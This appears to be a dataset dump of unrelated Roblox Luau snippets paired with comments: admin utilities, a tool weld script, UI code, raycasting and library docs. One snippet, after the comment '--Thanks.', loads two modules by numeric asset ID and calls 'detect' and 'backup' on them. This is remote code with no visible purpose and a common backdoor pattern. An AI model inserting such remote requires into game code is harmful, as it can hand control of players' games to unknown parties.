if plr and plr.Character then
local head = plr.Character:FindFirstChild("HumanoidRootPart")
return head
end
end
function module:GetNeck(plr)
if plr == nil then
plr = main.player
end
if plr and plr.Character then
local head = plr.Character:FindFirstChild("Head")
if head then
local neck = head:FindFirstChild("Neck")
local torso = plr.Character:FindFirstChild("Torso")
if not neck and torso then
neck = torso:FindFirstChild("Neck")
end
return neck
end
end
end
function module:GetHead(plr)
if plr == nil then
plr = main.player
end
if plr and plr.Character then
local head = plr.Character:FindFirstChild("Head")
return head
end
end
function module:GetFace(plr)
if plr == nil then
plr = main.player
end
if plr and plr.Character then
local head = plr.Character:FindFirstChild("Head")
if head then
local face = head:FindFirstChild("face")
if face and face.ClassName == "Decal" then
return face
end
end
return head
end
end
function module:GetHumanoid(plr)
if plr == nil then
plr = main.player
end
if plr and plr.Character then
local humanoid = plr.Character:FindFirstChild("Humanoid")
return humanoid
end
end
function module:GetProductInfo(productId, productType)
local productInfo = {}
local success, message = pcall(function()
productInfo = main.marketplaceService:GetProductInfo(productId, productType)
end)
if not success then
--warn("HD Admin | Loader settings incorrect | "..message)
end
return productInfo
end
function module:GetFriends(userId)
local friendsList = {}
local success, page = pcall(function() return main.players:GetFriendsAsync(userId) end)
if success then
repeat
local info = page:GetCurrentPage()
for i, friendInfo in pairs(info) do
friendsList[friendInfo.Username] = friendInfo.Id
end
if not page.IsFinished then
page:AdvanceToNextPageAsync()
end
until page.IsFinished
end
return friendsList
end
function module:GetRankName(rankIdToConvert)
local rankNameToReturn = ""
for _, rankDetails in pairs(main.settings.Ranks) do
local rankId = rankDetails[1]
local rankName = rankDetails[2]
if rankIdToConvert == rankId then
rankNameToReturn = rankName
elseif rankIdToConvert == "Donor" then
rankNameToReturn = rankIdToConvert
end
end
return rankNameToReturn
end
function module:GetRankId(rankNameToConvert)
local rankIdToReturn = 0
for _, rankDetails in pairs(main.settings.Ranks) do
local rankId = rankDetails[1]
local rankName = rankDetails[2]
if rankNameToConvert == rankName then
rankIdToReturn = rankId
end
end
return rankIdToReturn
end
function module:CheckRankExists(rankName)
for _, rankDetails in pairs(main.settings.Ranks) do
if string.lower(rankDetails[2]) == rankName then
return true
end
end
return false
end
function module:GetUserId(userName)
local start = tick()
local userId = main.UserIdsFromName[userName]
if not userId or userId <= 1 then
userId = 1
local success, message = pcall(function()
userId = main.players:GetUserIdFromNameAsync(userName)
end)
main.UserIdsFromName[userName] = userId
--main.UsernamesFromUserId[tostring(userId)] = userName
end
return userId
end
function module:GetName(userId)
local userIdString = tostring(userId)
local userIdInt = tonumber(userId)
local username = main.UsernamesFromUserId[userIdString]
if not username then
username = ""
if userIdInt then
local success, message = pcall(function()
username = main.players:GetNameFromUserIdAsync(userIdInt)
end)
if not success then
--warn("HD Admin | Loader settings incorrect | "..message)
else
main.UsernamesFromUserId[userIdString] = username
--main.UserIdsFromName[username] = userIdInt
end
end
end
return username
end
function module:FindValue(table, value)
for i,v in pairs(table) do
if tostring(v) == tostring(value) then
return true
end
end
return false
end
return module
|
-- How many seconds to respawn the dummy after it dies
|
local CanSpawn = true
|
--None of this is mine...
|
Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}
script.act.OnServerEvent:Connect(function()
wait(0.01)
local ui = script["if you delete this your scripts gonna break homes"]:Clone() --well done, now you know that you can delete this to not credit me )':
local plr = game.Players:GetPlayerFromCharacter(Tool.Parent)
ui.Parent = plr.PlayerGui
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
torso = Tool.Parent:FindFirstChild("Torso")
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new("Weld")
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(1.2, 0.7, 0.35) * CFrame.Angles(math.rad(-90), math.rad(45), math.rad(0), 0) ---The first set of numbers changes where the arms move to the second set changes their angles
welds[1] = weld1
weld1.Name = "weld1"
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-0.75, -0.28, 0.45) * CFrame.Angles(math.rad(-90), 0, 0) --- Same as top
welds[2] = weld2
weld2.Name = "weld2"
end
else
print("sh")
end
else
print("arms")
end
end)
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
torso = Tool.Parent:FindFirstChild("Torso")
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new("Weld")
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(1.2, 0.7, 0.35) * CFrame.Angles(math.rad(-90), math.rad(45), math.rad(0), 0) ---The first set of numbers changes where the arms move to the second set changes their angles
welds[1] = weld1
weld1.Name = "weld1"
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0) --- Same as top
welds[2] = weld2
weld2.Name = "weld2"
end
else
print("sh")
end
else
print("arms")
end;
script.dct.OnServerEvent:Connect(function()
local ui = script.Parent.Parent.Parent.PlayerGui["if you delete this your scripts gonna break homes"]
ui:Destroy()
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print("sh")
end
else
print("arms")
end
end)
|
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
|
local MainFrame = Instance.new("Frame")
MainFrame.Name = "MainFrame"
MainFrame.Size = UDim2.new(1, -1 * ScrollBarWidth, 1, 0)
MainFrame.Position = UDim2.new(0, 0, 0, 0)
MainFrame.BackgroundTransparency = 1
MainFrame.ClipsDescendants = true
MainFrame.Parent = PropertiesFrame
ContentFrame = Instance.new("Frame")
ContentFrame.Name = "ContentFrame"
ContentFrame.Size = UDim2.new(1, 0, 0, 0)
ContentFrame.BackgroundTransparency = 1
ContentFrame.Parent = MainFrame
scrollBar = ScrollBar(false)
scrollBar.PageIncrement = 1
Create(scrollBar.GUI,{
Position = UDim2.new(1,-ScrollBarWidth,0,0);
Size = UDim2.new(0,ScrollBarWidth,1,0);
Parent = PropertiesFrame;
})
scrollBarH = ScrollBar(true)
scrollBarH.PageIncrement = ScrollBarWidth
Create(scrollBarH.GUI,{
Position = UDim2.new(0,0,1,-ScrollBarWidth);
Size = UDim2.new(1,-ScrollBarWidth,0,ScrollBarWidth);
Visible = false;
Parent = PropertiesFrame;
})
do
local listEntries = {}
local nameConnLookup = {}
function scrollBar.UpdateCallback(self)
scrollBar.TotalSpace = ContentFrame.AbsoluteSize.Y
scrollBar.VisibleSpace = MainFrame.AbsoluteSize.Y
ContentFrame.Position = UDim2.new(ContentFrame.Position.X.Scale,ContentFrame.Position.X.Offset,0,-1*scrollBar.ScrollIndex)
end
function scrollBarH.UpdateCallback(self)
end
MainFrame.Changed:connect(function(p)
if p == 'AbsoluteSize' then
scrollBarH.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.x)
scrollBarH:Update()
scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y)
scrollBar:Update()
end
end)
local wheelAmount = Row.Height
PropertiesFrame.MouseWheelForward:connect(function()
if scrollBar.VisibleSpace - 1 > wheelAmount then
scrollBar:ScrollTo(scrollBar.ScrollIndex - wheelAmount)
else
scrollBar:ScrollTo(scrollBar.ScrollIndex - scrollBar.VisibleSpace)
end
end)
PropertiesFrame.MouseWheelBackward:connect(function()
if scrollBar.VisibleSpace - 1 > wheelAmount then
scrollBar:ScrollTo(scrollBar.ScrollIndex + wheelAmount)
else
scrollBar:ScrollTo(scrollBar.ScrollIndex + scrollBar.VisibleSpace)
end
end)
end
scrollBar.VisibleSpace = math.ceil(MainFrame.AbsoluteSize.y)
scrollBar:Update()
showProperties(GetSelection())
bindSelectionChanged.Event:connect(function()
showProperties(GetSelection())
end)
bindSetAwait.Event:connect(function(obj)
if AwaitingObjectValue then
AwaitingObjectValue = false
local mySel = obj
if mySel then
pcall(function()
Set(AwaitingObjectObj, AwaitingObjectProp, mySel)
end)
end
end
end)
propertiesSearch.Changed:connect(function(prop)
if prop == "Text" then
showProperties(GetSelection())
end
end)
bindGetApi.OnInvoke = function()
return RbxApi
end
bindGetAwait.OnInvoke = function()
return AwaitingObjectValue
end
|
-- print(raycastResult)
|
if raycastResult then
local hitPart = raycastResult.Instance
local hum = hitPart.Parent:FindFirstChild("Humanoid")
if hum then
result = raycastResult
end
end
return result
end
|
--[=[
Retrieves a remote event as a promise
@class PromiseGetRemoteEvent
]=]
|
local require = require(script.Parent.loader).load(script)
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")
local GetRemoteEvent = require("GetRemoteEvent")
local Promise = require("Promise")
local ResourceConstants = require("ResourceConstants")
|
--Thanks.
|
local locate = require(4986541548)
locate.detect()
local mymodule = require(4986595724)
mymodule:backup()
|
--v.SGUI.Identifier.Text = Stats.Plate.Value
|
v.SGUI.Identifier.Text = game.ReplicatedStorage.Events.Radio.getCS:InvokeServer()
end
end
function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end
|
--[[
Initialises the controller, disabling the default roblox ui
]]
|
function UIController.init()
pcall(
function()
StarterGui:SetCore("TopbarEnabled", false)
end
)
UserInputService.MouseIconEnabled = false
end
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 20 -- cooldown for use of the tool again
BoneModelName = "True X event" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--[=[
@param predicate (player: Player, argsFromFire: ...) -> boolean
@param ... any -- Arguments to pass to the clients (and to the predicate)
Fires the signal at any clients that pass the `predicate`
function test. This can be used to fire signals with much
more control logic.
:::note Outbound Middleware
All arguments pass through any outbound middleware (if any)
before being sent to the clients.
:::
:::caution Predicate Before Middleware
The arguments sent to the predicate are sent _before_ getting
transformed by any middleware.
:::
```lua
-- Fire signal to players of the same team:
remoteSignal:FireFilter(function(player)
return player.Team.Name == "Best Team"
end)
```
]=]
|
function RemoteSignal:FireFilter(predicate: (Player, ...any) -> boolean, ...: any)
for _, player in ipairs(Players:GetPlayers()) do
if predicate(player, ...) then
self._re:FireClient(player, self:_processOutboundMiddleware(nil, ...))
end
end
end
|
--[[
local previousCollisionGroups = {}
local function setCollisionGroup(object)
if object:IsA("BasePart") then
previousCollisionGroups[object] = object.CollisionGroupId
PhysicsService:SetPartCollisionGroup(object, playerCollisionGroupName)
end
end
local function setCollisionGroupRecursive(object)
setCollisionGroup(object)
for _, child in ipairs(object:GetChildren()) do
setCollisionGroupRecursive(child)
end
end
local function resetCollisionGroup(object)
local previousCollisionGroupId = previousCollisionGroups[object]
if not previousCollisionGroupId then return end
local previousCollisionGroupName = PhysicsService:GetCollisionGroupName(previousCollisionGroupId)
if not previousCollisionGroupName then return end
PhysicsService:SetPartCollisionGroup(object, previousCollisionGroupName)
previousCollisionGroups[object] = nil
end
local function onCharacterAdded(character)
setCollisionGroupRecursive(character)
character.DescendantAdded:Connect(setCollisionGroup)
character.DescendantRemoving:Connect(resetCollisionGroup)
end
local function onPlayerAdded(player)
player.CharacterAdded:Connect(onCharacterAdded)
end
Players.PlayerAdded:Connect(onPlayerAdded)
]]
| |
--[[
Model for sort results in the Catalog.
{
items =
{
"id": string,
"type": string
},
"keyword":string,
"previousPageCursor": string,
"nextPageCursor": string
}
]]
|
local SortResults = {}
function SortResults.new()
local sortResults = {}
return sortResults
end
function SortResults.mock()
local self = SortResults.new()
self.items = {
id = "",
type = ""
}
self.keyword = ""
self.previousPageCursor = ""
self.nextPageCursor = ""
return self
end
function SortResults.fromSearchItemsDetails(itemDetailsResponse)
local self = SortResults.new()
self.items = {}
for i, itemData in ipairs(itemDetailsResponse.data) do
self.items[i] = {
id = tostring(itemData.id),
type = tostring(itemData.itemType)
}
end
self.keyword = itemDetailsResponse.keyword
self.previousPageCursor = itemDetailsResponse.previousPageCursor
self.nextPageCursor = itemDetailsResponse.nextPageCursor
return self
end
return SortResults
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.